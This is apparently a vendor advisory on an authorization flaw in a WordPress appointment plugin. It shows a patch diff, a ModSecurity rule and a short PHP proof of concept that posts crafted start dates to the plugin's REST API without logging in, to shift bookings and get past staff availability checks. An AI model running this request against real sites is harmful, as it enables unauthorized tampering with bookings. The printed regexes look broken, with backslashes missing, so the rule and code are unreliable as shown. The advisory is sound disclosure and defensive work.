Atomic Edge analysis of CVE-2026-125437: The Simply Schedule Appointments plugin for WordPress, versions up to and including 1.6.13.0, contains a missing authorization vulnerability in its appointment creation and update logic. The flaw resides in the `class-appointment-model.php` file, where privileged status checks and input validation are insufficiently enforced for unauthenticated users. This allows unauthenticated attackers to perform unauthorized actions, such as creating appointments with arbitrary start dates or bypassing staff availability checks.

CVE-2026-125437: Simply Schedule Appointments <= 1.6.13.0 Missing Authorization PoC, Patch Analysis & Rule
CVE-2026-125437
simply-schedule-appointments
1.6.13.0
1.6.13.4
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/simply-schedule-appointments/booking-app-new/iframe-inner.php
+++ b/simply-schedule-appointments/booking-app-new/iframe-inner.php
@@ -116,10 +116,19 @@
return false;
});
$ssa_appointment_types = array_values( $ssa_appointment_types );
+} else {
+ // No types named: list the published ones only. Named types (above) keep whatever status they have,
+ // as the REST listing serves them: an edit link names its appointment's type, which may since have been deleted.
+ $ssa_appointment_types = array_values( array_filter( $ssa_appointment_types, function( $appointment_type ) {
+ return 'publish' === $appointment_type['status'];
+ } ) );
}
$ssa_appointment_types = apply_filters( 'ssa_booking_appointment_types', $ssa_appointment_types );
+// Anyone can load this page, so the rows cross the same read boundary as the REST listing.
+$ssa_appointment_types = $ssa->appointment_type_model->prepare_collection_for_api_response( $ssa_appointment_types );
+
// Setup booking URL parameters for global variable
$ssa_booking_url_settings = array(
@@ -139,6 +148,8 @@
}
+// A second include in one process, as the tests do, would redeclare it.
+if ( ! function_exists( 'ssa_get_language_attributes' ) ) {
function ssa_get_language_attributes( $doctype = 'html' ) {
$attributes = array();
@@ -156,6 +167,7 @@
return $output;
}
+}
?>
<html <?php echo ssa_get_language_attributes(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Built internally from a fixed dir token and an esc_attr()'d lang value; the whole attribute list cannot be re-escaped as one string. ?>>
<head>
@@ -455,9 +467,10 @@
var ssa_booking_url_settings = <?php echo json_encode( $ssa_booking_url_settings ) ?>;
var ssa_token = '<?php echo isset( $_GET['token'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_GET['token'] ) ) ) : '' ?>'
var ssa_embed_settings = <?php echo json_encode(array("redirect_post_id" => isset($_GET['redirect_post_id'])? sanitize_text_field( wp_unslash( $_GET['redirect_post_id'] ) ): '', "redirect_url" => isset($_GET['redirect_post_id'])? get_permalink(sanitize_text_field( wp_unslash( $_GET['redirect_post_id'] ) )): '')); ?>;
+ <?php $ssa_print_availability_edge_cache = $ssa->appointment_type_model->should_print_booking_app_availability_edge_cache(); ?>
var ssa_availability_edge_cache_timestamp = <?php echo json_encode(gmdate("Y-m-d H:i:s")) ?>;
- var ssa_availability_edge_cache_max_age = <?php echo (int) $ssa->appointment_type_model->get_booking_app_availability_edge_cache_page_max_age(); ?>;
- var ssa_availability_edge_cache = <?php echo json_encode( (object) $ssa->appointment_type_model->get_booking_app_availability_edge_cache() ); ?>;
+ var ssa_availability_edge_cache_max_age = <?php echo $ssa_print_availability_edge_cache ? (int) $ssa->appointment_type_model->get_booking_app_availability_edge_cache_page_max_age() : 0; ?>;
+ var ssa_availability_edge_cache = <?php echo $ssa_print_availability_edge_cache ? json_encode( (object) $ssa->appointment_type_model->get_booking_app_availability_edge_cache() ) : '{}'; ?>;
var ssa_availability_query_args = <?php echo json_encode( SSA_Availability_Query::get_default_args() ); ?>;
var ssa_defer_init = <?php echo ! empty( $_GET['defer'] ) ? 'true' : 'false'; ?>;
var ssa_hide_header = <?php echo ! empty( $_GET['hide_header'] ) ? 'true' : 'false'; ?>;
--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -165,6 +165,15 @@
return in_array( $status, self::get_abandoned_statuses() );
}
+ // Statuses a form field may re-open: https://app.asana.com/1/1992899177764/project/351348922863100/task/1219466819047962
+ public static function get_form_loadable_statuses() {
+ return array_merge( self::get_reserved_statuses(), self::get_abandoned_statuses() );
+ }
+
+ public static function is_a_form_loadable_status( $status ) {
+ return in_array( $status, self::get_form_loadable_statuses(), true );
+ }
+
public static function get_unavailable_statuses() {
return array_merge(
self::get_booked_statuses(),
@@ -364,6 +373,14 @@
}
}
+ // A booking-page visitor may set these three; they hold a payment method slug,
+ // a timezone name and a locale code, so markup in them is never legitimate.
+ foreach ( array( 'payment_method', 'customer_timezone', 'customer_locale' ) as $field ) {
+ if ( isset( $data[ $field ] ) && is_string( $data[ $field ] ) ) {
+ $data[ $field ] = sanitize_text_field( $data[ $field ] );
+ }
+ }
+
return $data;
}
@@ -515,6 +532,33 @@
);
}
+ /**
+ * The booking app sends start_date as 'Y-m-d H:i:s', the shape the column stores,
+ * so a customer-scoped request carrying any other shape is refused before anything
+ * is written. The shape the report abused, a parseable ' +1 day' suffix, moves the
+ * moment PHP reads while MySQL keeps only the leading date. One check for both
+ * routes, so the two cannot drift apart.
+ *
+ * @param array $params
+ * @return array|null The error response, or null when the value is acceptable.
+ */
+ private function reject_non_canonical_start_date( $params ) {
+ if ( empty( $params['start_date'] ) ) {
+ return null;
+ }
+ if ( is_string( $params['start_date'] ) && preg_match( '/^d{4}-d{2}-d{2} d{2}:d{2}:d{2}z/', $params['start_date'] ) ) {
+ return null;
+ }
+
+ return array(
+ 'error' => array(
+ 'code' => 'invalid_start_date',
+ 'message' => __( 'Sorry, that start date is not valid', 'simply-schedule-appointments' ),
+ 'data' => array(),
+ ),
+ );
+ }
+
public function default_appointment_status( $data ) {
// We want to allow "pending_form" status if it's provided
if ( ! empty( $data['status'] ) && $data['status'] === 'pending_form' ) {
@@ -1219,6 +1263,11 @@
// google_calendar_*, web_meeting_*, etc.
if ( ! $this->is_privileged_appointment_request() ) {
$params = array_intersect_key( $params, array_flip( $this->get_unprivileged_create_fields() ) );
+
+ $rejected = $this->reject_non_canonical_start_date( $params );
+ if ( $rejected ) {
+ return $rejected;
+ }
}
$params = shortcode_atts(
@@ -1375,7 +1424,10 @@
'start_date' => $start_date->format( 'Y-m-d H:i:s' ),
)
);
- if ( ! $this->is_privileged_appointment_request() && ! $this->are_picked_staff_available( $appointment_type, $prospective_appointment, $params['staff_ids'] ) ) {
+ // A team member who is already booked is off limits to everyone, whoever is doing the booking. An admin who
+ // means to double-book a member does that from the admin app's Edit Team Members dialog, which warns them
+ // first; a booking page offering the same thing would contradict the availability it had just shown.
+ if ( ! $this->are_picked_staff_available( $appointment_type, $prospective_appointment, $params['staff_ids'] ) ) {
return array(
'error' => array(
'code' => 'appointment_unavailable',
@@ -1526,6 +1578,11 @@
if ( ! $this->is_privileged_appointment_request() ) {
$params = array_intersect_key( $params, array_flip( $this->get_unprivileged_update_fields() ) );
+ $rejected = $this->reject_non_canonical_start_date( $params );
+ if ( $rejected ) {
+ return $rejected;
+ }
+
if ( isset( $params['status'] ) ) {
$current = $this->get( $item_id );
$from = isset( $current['status'] ) ? $current['status'] : null;
@@ -1580,6 +1637,9 @@
if ( empty( $start_date ) ) {
return 'invalid_start_date';
}
+ // Same as insert(): the stored text is the parsed moment, in UTC.
+ $start_date = $start_date->setTimezone( new DateTimeZone( 'UTC' ) );
+ $params['start_date'] = $start_date->format( 'Y-m-d H:i:s' );
// if the time was changed, confirm availability
if( isset( $appointment->data['start_date'] ) && $appointment->data['start_date'] !== $params['start_date'] ){
@@ -2279,6 +2339,12 @@
return 'invalid_start_date';
}
+ // Store the moment that was parsed and checked, in UTC like the column, not the
+ // request text: MySQL keeps only the leading date of '2026-11-04 10:00:00 +1 day',
+ // which PHP reads as the next day, so the row's start and end would disagree.
+ $start_date = $start_date->setTimezone( new DateTimeZone( 'UTC' ) );
+ $data['start_date'] = $start_date->format( 'Y-m-d H:i:s' );
+
$appointment_type = $this->plugin->appointment_type_model->get( $data['appointment_type_id'] );
$bookable_period = Period::after( $start_date, new DateInterval( 'PT' . $appointment_type['duration'] . 'M' ) );
$data['end_date'] = $bookable_period->getEndDate()->format( 'Y-m-d H:i:s' );
--- a/simply-schedule-appointments/includes/class-appointment-type-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-type-model.php
@@ -1428,6 +1428,24 @@
}
/**
+ * Whether a booking page may print the availability edge cache for whoever is loading it.
+ *
+ * Withheld from staff, who book from Appointments > Book an Appointment -- the same page in a dialog. The
+ * cache is shared and keyed per availability query, so it can hold a picked team member's times from before
+ * someone else booked that member, and the dialog would offer a slot create_item() then refuses, in the
+ * middle of an admin's task. A customer keeps the instant times whether or not they are logged in: they are
+ * refused the same way either way, so a stale entry costs them one click and nothing more.
+ *
+ * @return bool
+ */
+ public function should_print_booking_app_availability_edge_cache() {
+ return (bool) apply_filters(
+ 'ssa/booking_app/availability_edge_cache/print',
+ ! $this->plugin->appointment_model->is_privileged_appointment_request()
+ );
+ }
+
+ /**
* Recent availability results for the booking app, keyed by SSA_Availability_Query::get_query_hash(),
* leaving out entries computed longer than max age ago or dated in the future.
*
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
*
* @var string The plugin version.
*/
- const VERSION = '1.6.13.0';
+ const VERSION = '1.6.13.4';
/**
* Minimum Elementor Version
@@ -29,7 +29,7 @@
*
* @var string Minimum Elementor version required to run the plugin.
*/
- const MINIMUM_ELEMENTOR_VERSION = '1.6.13.0';
+ const MINIMUM_ELEMENTOR_VERSION = '1.6.13.4';
/**
* Minimum PHP Version
@@ -38,7 +38,7 @@
*
* @var string Minimum PHP version required to run the plugin.
*/
- const MINIMUM_PHP_VERSION = '1.6.13.0';
+ const MINIMUM_PHP_VERSION = '1.6.13.4';
/**
* Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
* @package PHP-PayPal-IPN
* @author Micah Carrick
* @copyright (c) 2011 - Micah Carrick
- * @version 1.6.13.0
+ * @version 1.6.13.4
* @license http://opensource.org/licenses/gpl-3.0.html
*/
--- a/simply-schedule-appointments/includes/class-revision-model.php
+++ b/simply-schedule-appointments/includes/class-revision-model.php
@@ -439,6 +439,14 @@
$request->set_param( 'append_where_sql', $scope_sql );
}
+ // Not scoped to one appointment or appointment type: a full listing can exhaust PHP memory on busy sites.
+ if ( empty( $request->get_param( 'appointment_id' ) ) && empty( $request->get_param( 'appointment_type_id' ) ) ) {
+ $number = (int) $request->get_param( 'number' );
+ if ( $number < 1 || $number > 1000 ) {
+ $request->set_param( 'number', 1000 );
+ }
+ }
+
return parent::get_items( $request );
}
--- a/simply-schedule-appointments/includes/class-support-status-api.php
+++ b/simply-schedule-appointments/includes/class-support-status-api.php
@@ -336,11 +336,12 @@
/**
* Redacts settings before they leave the site in a support ticket: every
* field its schema flags writeonly_secret or encrypt (the set
- * SSA_Templates::strip_protected_global_vars treats as protected), plus the
- * credentials whose schema carries neither flag. A set value becomes the
- * placeholder the settings REST layer uses, so support can still see that it
- * is set. A section with no schema on this edition is left over from a higher
- * one and can't be classified, so it is dropped.
+ * SSA_Templates::strip_protected_global_vars treats as protected), the
+ * credentials whose schema carries neither flag, and the signing token inside
+ * each webhook entry. A set value becomes the placeholder the settings REST
+ * layer uses, so support can still see that it is set. A section with no
+ * schema on this edition is left over from a higher one and can't be
+ * classified, so it is dropped.
*/
protected function redact_ticket_settings( $settings ) {
if ( ! is_array( $settings ) ) {
@@ -375,22 +376,47 @@
}
}
}
+ // Each webhook entry carries the token its receiver uses to verify that a
+ // delivery came from this site. The schema declares the list as one field,
+ // so no flag can reach the token inside an entry; the entries are walked here.
+ if ( ! empty( $settings['webhooks']['webhooks'] ) && is_array( $settings['webhooks']['webhooks'] ) ) {
+ foreach ( $settings['webhooks']['webhooks'] as $index => $webhook ) {
+ if ( is_array( $webhook ) && ! empty( $webhook['token'] ) ) {
+ $settings['webhooks']['webhooks'][ $index ]['token'] = 'redacted-writeonly-secret';
+ }
+ }
+ }
return $settings;
}
/**
* export_code arrives as a JSON string. One that can't be decoded can't be
* redacted, so it goes out as the same empty export the fallback sends.
+ * Staff rows come straight off the model, so the staff schema's do_not_allow
+ * on google_access_token never applied to them; zoom is the schema's other
+ * credential column. A set value becomes the placeholder, so support still
+ * sees which staff calendars are connected.
*/
protected function redact_ticket_export_code( $export_code ) {
$export = is_string( $export_code ) ? json_decode( $export_code, true ) : null;
if ( ! is_array( $export ) ) {
return '{}';
}
- if ( ! isset( $export['settings'] ) ) {
- return $export_code;
+ if ( isset( $export['settings'] ) ) {
+ $export['settings'] = $this->redact_ticket_settings( $export['settings'] );
+ }
+ if ( ! empty( $export['staff'] ) && is_array( $export['staff'] ) ) {
+ foreach ( $export['staff'] as $index => $staff ) {
+ if ( ! is_array( $staff ) ) {
+ continue;
+ }
+ foreach ( array( 'google_access_token', 'zoom' ) as $field ) {
+ if ( ! empty( $staff[ $field ] ) ) {
+ $export['staff'][ $index ][ $field ] = 'redacted-writeonly-secret';
+ }
+ }
+ }
}
- $export['settings'] = $this->redact_ticket_settings( $export['settings'] );
return wp_json_encode( $export );
}
public static function ssa_send_support_ticket($params = array(), $debug_logs_hash = '') {
--- a/simply-schedule-appointments/includes/class-support.php
+++ b/simply-schedule-appointments/includes/class-support.php
@@ -700,7 +700,8 @@
$end_date = $start_date->add( new DateInterval( 'PT' .$duration. 'M' ) );
if ( $end_date->format( 'Y-m-d H:i:s' ) != $appointment['end_date'] ) {
- echo '<pre>'.print_r($appointment, true).'</pre>'; // phpcs:ignore
+ // htmlspecialchars() over esc_html(): esc_html() returns '' on invalid UTF-8 and would blank the dump.
+ echo '<pre>' . htmlspecialchars( print_r( $appointment, true ), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8' ) . '</pre>'; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r, Generic.PHP.ForbiddenFunctions.Found, WordPress.Security.EscapeOutput.OutputNotEscaped -- Support-page diagnostic for ssa_manage_site_settings holders, escaped by htmlspecialchars().
$appointment['end_date'] = $end_date->format( 'Y-m-d H:i:s' );
$this->plugin->appointment_model->update( $appointment['id'], $appointment );
@@ -1006,10 +1007,14 @@
return;
}
- // Finds and delete all rows from the wp_options table that contains "ssa_" in the option_name column.
+ // Deletes every option whose name starts with "ssa_". delete_option() also drops each one from the object cache,
+ // which a raw DELETE skips: with Redis or Memcached the old settings kept being served and the reset did nothing.
global $wpdb;
- $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE 'ssa_%'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+ $option_names = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name LIKE 'ssa_%'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+ foreach ( $option_names as $option_name ) {
+ delete_option( $option_name );
+ }
// Truncate all ssa database tables.
$this->plugin->appointment_model->truncate();
@@ -1030,6 +1035,10 @@
$this->plugin->revision_model->truncate();
$this->plugin->revision_meta_model->truncate();
+ // The cached appointment types and availability are transients the options cleanup above never matches, and
+ // with an object cache they never reach the options table. A new cache version leaves all of them behind.
+ $this->plugin->availability_cache_invalidation->increment_cache_version();
+
wp_safe_redirect( $this->plugin->wp_admin->url(), $status = 302 );
exit;
}
--- a/simply-schedule-appointments/includes/class-utils.php
+++ b/simply-schedule-appointments/includes/class-utils.php
@@ -46,7 +46,34 @@
* @since 0.0.3
*/
public function hooks() {
+ add_action( 'requests-requests.before_request', array( $this, 'send_sni_to_ssa_servers' ), 10, 5 );
+ }
+ /**
+ * SSA calls its own servers with sslverify off. WordPress then also passes
+ * verifyname => false, and its socket transport (used when cURL is missing)
+ * turns SNI off for that flag. Both SSA servers refuse TLS without SNI, so
+ * every license check and support ticket failed on those hosts. Dropping the
+ * flag sends SNI the way cURL already does. With verify => false the chain is
+ * never checked; the certificate's name is checked only before WordPress 5.8
+ * on the socket transport, or where an https_ssl_verify filter turned
+ * verification back on, and both servers' certificates match their names.
+ * Turning verification on instead fails on WordPress versions whose CA
+ * bundle lacks the servers' root.
+ *
+ * Convention exception — the domain is written out instead of read from
+ * SSA_License::STORE_URL: that class is stripped from Basic, and the support
+ * API host (api.) has no constant.
+ */
+ public function send_sni_to_ssa_servers( &$url, &$headers, &$data, &$type, &$options ) {
+ if ( false !== ( $options['verifyname'] ?? null ) ) {
+ return;
+ }
+ $host = (string) wp_parse_url( $url, PHP_URL_HOST );
+ if ( ! preg_match( '/(^|.)simplyscheduleappointments.com$/', $host ) ) {
+ return;
+ }
+ unset( $options['verifyname'] );
}
public function defensive_timezone_fix() {
--- a/simply-schedule-appointments/languages/admin-app-translations.php
+++ b/simply-schedule-appointments/languages/admin-app-translations.php
@@ -699,6 +699,7 @@
'deleteEventsToggleLabel' => __( 'Delete Google Calendar events when appointments are canceled or rescheduled', 'simply-schedule-appointments' ),
'refreshIntervalHeadline' => __( 'Refresh Google Calendars', 'simply-schedule-appointments' ),
'refreshIntervalDesc' => __( 'How often should we check Google Calendar for new events?', 'simply-schedule-appointments' ),
+ 'refreshIntervalMin' => __( 'Enter at least 1 minute', 'simply-schedule-appointments' ),
),
'calendar_events' =>
array (
@@ -2325,7 +2326,7 @@
'disclosure' => __( 'Messages sent to the support team through this form will include the debugging information visible on this page.', 'simply-schedule-appointments' ),
'disclosureTime' => __( 'Messages sent to the support team through this form will include debugging information about this appointment type and general settings', 'simply-schedule-appointments' ),
'includeSettings' => __( 'Include information about settings and appointment types', 'simply-schedule-appointments' ),
- 'includeDescription' => __( 'Checking this box sends us extra helpful information about your settings and appointment types. It *does not* include any private information or any information about your customers or your appointments.', 'simply-schedule-appointments' ),
+ 'includeDescription' => __( 'Checking this box sends us your settings and appointment types, plus up to 500 of your appointments. It also sends the extra details saved with every appointment, such as cancellation and reschedule notes. Customer names, emails, phone numbers and other form answers are scrambled before they are sent. The extra details, web meeting links and meeting passwords are sent as written.', 'simply-schedule-appointments' ),
'includePlugins' => __( 'Include list of active plugins', 'simply-schedule-appointments' ),
'sendingMessage' => __( 'Sending your message', 'simply-schedule-appointments' ),
'successTitle' => __( 'Success!', 'simply-schedule-appointments' ),
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
* Plugin Name: Simply Schedule Appointments
* Plugin URI: https://simplyscheduleappointments.com
* Description: Easy appointment scheduling
- * Version: 1.6.13.0
+ * Version: 1.6.13.4
* Requires PHP: 7.4
* Author: NSquared
* Author URI: https://nsquared.io/
@@ -15,7 +15,7 @@
* @link https://simplyscheduleappointments.com
*
* @package Simply_Schedule_Appointments
- * @version 1.6.13.0
+ * @version 1.6.13.4
*
* Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
*/
@@ -211,7 +211,7 @@
* @var string
* @since 0.0.0
*/
- const VERSION = '1.6.13.0';
+ const VERSION = '1.6.13.4';
/**
* URL of plugin directory.
@@ -564,8 +564,13 @@
if ( ! empty( $settings->developer->remove_data_on_uninstall) ) {
// Finds and delete all rows from the wp_options table that contains "ssa_" in the option_name column.
- $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE 'ssa_%' OR option_name LIKE 'wp_ssa_%' OR option_name LIKE '{$table_prefix}ssa_%'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-
+ // delete_option() also drops each one from the object cache, which a raw DELETE skips: with Redis or Memcached
+ // a reinstall still read the tables' old version options and never recreated the tables dropped below.
+ $option_names = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name LIKE 'ssa_%' OR option_name LIKE 'wp_ssa_%' OR option_name LIKE '{$table_prefix}ssa_%'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+ foreach ( $option_names as $option_name ) {
+ delete_option( $option_name );
+ }
+
// Truncate all ssa database tables.
$wpdb->query("DROP TABLE {$table_prefix}ssa_appointments");
$wpdb->query("DROP TABLE {$table_prefix}ssa_appointment_meta");
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => '__root__',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'e1b4747c0a24f620a2f09f1174ce99d079ade0fc',
+ 'reference' => '0154c234b48a9c3ad8264efabcc413baf3da760e',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -13,7 +13,7 @@
'__root__' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'e1b4747c0a24f620a2f09f1174ce99d079ade0fc',
+ 'reference' => '0154c234b48a9c3ad8264efabcc413baf3da760e',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-125437
SecRule REQUEST_URI "@rx ^/wp-json/ssa/v[0-9]+/appointments"
"id:20261254,phase:2,deny,status:403,chain,msg:'CVE-2026-125437 via SSA REST API',severity:'CRITICAL',tag:'CVE-2026-125437'"
SecRule ARGS_POST:start_date "@rx ^d{4}-d{2}-d{2} d{2}:d{2}:d{2}s+[+-]" "chain"
SecRule REQUEST_METHOD "@rx ^(POST|PUT)$" "t:none"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125437 - Simply Schedule Appointments <= 1.6.13.0 - Missing Authorization
$target_url = 'http://example.com'; // Change to target WordPress site
// Step 1: Create an appointment with a non-canonical start_date (e.g., '2026-01-01 00:00:00 +1 day')
$create_data = [
'appointment_type_id' => 1,
'start_date' => '2026-01-01 00:00:00 +1 day',
'staff_ids' => [1],
'customer_name' => 'Attacker',
'customer_email' => 'attacker@example.com'
];
$ch = curl_init($target_url . '/wp-json/ssa/v1/appointments');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($create_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Create appointment response: $responsen";
// Step 2: Update the appointment with a non-canonical start_date to shift time
$update_data = [
'start_date' => '2026-01-01 00:00:00 +2 days',
'status' => 'booked'
];
$ch = curl_init($target_url . '/wp-json/ssa/v1/appointments/1');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($update_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Update appointment response: $responsen";
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






